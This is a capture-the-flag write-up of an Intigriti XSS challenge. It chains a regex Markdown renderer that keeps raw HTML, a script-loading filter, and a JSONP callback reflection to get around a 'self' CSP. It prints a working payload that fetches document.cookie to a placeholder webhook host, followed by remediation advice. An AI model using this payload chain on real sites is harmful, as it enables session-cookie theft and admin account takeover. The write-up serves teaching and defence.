Welcome to my write-up for the Intigriti Challenge (0226) created by d3dn0v4! The objective was clear: find a Cross-Site Scripting (XSS) vulnerability, bypass the security controls, and steal the flag from the admin bot.
By analyzing the provided source code, I discovered a fascinating exploit chain. It required combining an unsafe Markdown renderer, a specific script execution logic in the frontend, and a Content Security Policy (CSP) bypass leveraging a JSONP endpoint. Here is a step-by-step breakdown of how I captured the flag.
┌─────────────────────────────────────────────────────────────┐
│ 1. Unsafe Markdown Renderer │
│ (accepts raw HTML tags without sanitization) │
└────────────────────┬────────────────────────────────────────┘
│ Inject <script src="/api/...\"> tag
▼
┌─────────────────────────────────────────────────────────────┐
│ 2. Script Execution Filter │
│ (only executes scripts with /api/ in src) │
└────────────────────┬────────────────────────────────────────┘
│ Request /api/jsonp endpoint
▼
┌─────────────────────────────────────────────────────────────┐
│ 3. JSONP Endpoint Reflection │
│ (callback parameter is reflected in JavaScript code) │
└────────────────────┬────────────────────────────────────────┘
│ Bypass CSP (script is from 'self')
▼
┌─────────────────────────────────────────────────────────────┐
│ 4. Arbitrary JavaScript Execution │
│ (fetch admin's cookie and send to attacker) │
└─────────────────────────────────────────────────────────────┘
The target application, InkDrop, allows users to register, log in, create posts using Markdown, and report those posts to a moderator bot.
The first step in any white-box challenge is diving into the source code. I started by looking at how user input is handled when creating a new post.
I examined app.py and specifically the render_markdown function. The application uses a custom regex-based approach to convert Markdown to HTML.
def render_markdown(content):
html_content = content
html_content = re.sub(r'^### (.+)$', r'<h3>\1</h3>', html_content, flags=re.MULTILINE)
html_content = re.sub(r'^## (.+)$', r'<h2>\1</h2>', html_content, flags=re.MULTILINE)
html_content = re.sub(r'^# (.+)$', r'<h1>\1</h1>', html_content, flags=re.MULTILINE)
html_content = re.sub(r'\*\*(.+?)\*\*', r'<strong>\1</strong>', html_content)
html_content = re.sub(r'\*(.+?)\*', r'<em>\1</em>', html_content)
html_content = re.sub(r'\[(.+?)\]\((.+?)\)', r'<a href="\2">\1</a>', html_content)
html_content = html_content.replace('\n\n', '</p><p>')
html_content = f'<p>{html_content}</p>'
return html_contentThe Flaw: The function passes through generic Markdown rules using regex substitution but completely ignores any tags that don't match these patterns. Most critically, it doesn't escape or remove arbitrary HTML. If we inject <script>test</script>, it flows through unchanged into the DOM. We have a Stored XSS injection point.
Furthermore, because this is stored XSS (the payload is saved in the database), it will execute every time the post is viewed, including when the admin bot visits it.
However, getting the payload into the DOM is only half the battle. There's a second security control we need to bypass.
When examining the frontend code in /static/js/preview.js, I noticed a very specific behavior. The script fetches the rendered HTML and explicitly executes any injected <script> tag, but only if its src attribute contains the string /api/.
function processContent(container) {
const codeBlocks = container.querySelectorAll("pre code");
codeBlocks.forEach(function (block) {
block.classList.add("highlighted");
});
const scripts = container.querySelectorAll("script");
scripts.forEach(function (script) {
if (script.src && script.src.includes("/api/")) {
const newScript = document.createElement("script");
newScript.src = script.src;
document.body.appendChild(newScript);
}
});
}But there's another layer of defense: the page sets a strict Content Security Policy (CSP):
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src * data:; connect-src *;"/>This CSP has two critical restrictions:
script-src 'self': Only scripts from the same origin are allowed.- This prevents us from loading external JavaScript from our attacker server.
- It also blocks inline scripts (no
'unsafe-inline').
So we need to craft a payload that:
- Contains
/api/in thesrc(to satisfy thepreview.jsfilter) - Is from an
https://inkdrop.app/origin (to satisfy CSP's'self') - Actually contains executable malicious code
This CSP blocks any external scripts and inline scripts. We need a way to execute arbitrary JavaScript that originates from the 'self' domain and contains /api/ in the path.
Searching through the application's routes for anything related to /api/, I found the /api/jsonp endpoint.
JSONP (JSON with Padding) is an older technique used to bypass Same-Origin Policy, but it is notoriously dangerous if not implemented correctly. In InkDrop, the /api/jsonp endpoint reflects whatever is passed into the callback parameter directly into the response, formatted as JavaScript.
@app.route('/api/jsonp')
def api_jsonp():
callback = request.args.get('callback', 'handleData')
if '<' in callback or '>' in callback:
callback = 'handleData'
user_data = {
'authenticated': 'user_id' in session,
'timestamp': time.time()
}
if 'user_id' in session:
user = User.query.get(session['user_id'])
if user:
user_data['username'] = user.username
response = f"{callback}({json.dumps(user_data)})"
return Response(response, mimetype='application/javascript')Because this endpoint is hosted on the application's own domain, it is trusted by the script-src 'self' CSP policy. This is our golden ticket.
Now it's time to chain it all together.
- We use the Stored XSS to inject a
<script>tag. - We point the
srcto the/api/jsonpendpoint (which satisfies thepreview.jsrequirement). - We use the
callbackparameter to write our malicious JavaScript. - We bypass the CSP because the script is loaded from
'self'.
The goal is to steal the admin's cookie (document.cookie) and send it to our controlled server.
Here is the final payload used in the post content:
<script src="/api/jsonp?callback=fetch('https://[YOUR_WEBHOOK_URL]/?c='%2bdocument.cookie)//"></script>Payload Breakdown:
fetch(...): Initiates an HTTP request to our listener./?c=': The query parameter where we will append the cookie.%2b: This is the URL-encoded+character, used to concatenate the string with the cookie.document.cookie: Contains the target's session and, crucially, the flag.//: This is a JavaScript comment. It comments out the trailing JSON data that the API normally appends after the callback, ensuring our syntax remains valid and doesn't throw an error before execution.
I created a new post with the payload, noted the Post ID, and clicked "Report to Moderator".
Seconds later, my webhook listener lit up with an incoming request from the headless browser bot. Right there in the URL parameter was the flag!
The Flag:
INTIGRITI{019c668f-bf9f-70e8-b793-80ee7f86e00b}
- Implement Robust HTML Sanitization: To fix this challenge in a real-world scenario, never rely on custom regex for HTML filtering. Use established libraries like
DOMPurify(frontend) orbleach(Python) to strip dangerous tags. These libraries understand HTML context and are actively maintained against new bypass techniques. - Remove or Secure JSONP: JSONP is largely obsolete and dangerous. If absolutely necessary:
- Validate the
callbackparameter strictly (e.g.,^[a-zA-Z_$][a-zA-Z0-9_$]*$for alphanumeric only) - Never reflect user input directly into executable code
- Consider modern alternatives like CORS for cross-origin requests
- Validate the
- Upgrade the CSP: The
'self'policy only solves part of the problem when combined with reflection vulnerabilities. Better approaches:- Use nonce-based CSP:
script-src 'nonce-<random>'for inline scripts - Implement subresource integrity (SRI) for external scripts
- Embrace a strict CSP with
default-src 'none'and explicitly whitelist resources
- Use nonce-based CSP:
- Server-side Input Validation: Don't rely solely on client-side filtering. Validate and sanitize on the backend before storing user data.
This challenge beautifully demonstrates how multiple "reasonable" security decisions can stack to create a critical vulnerability:
- A properly sanitized renderer prevents XSS.
- A script filter prevents generic XSS.
- A CSP prevents external script injection.
But when all three have subtle flaws, they chain together to allow a full compromise of the application and its administrative accounts.
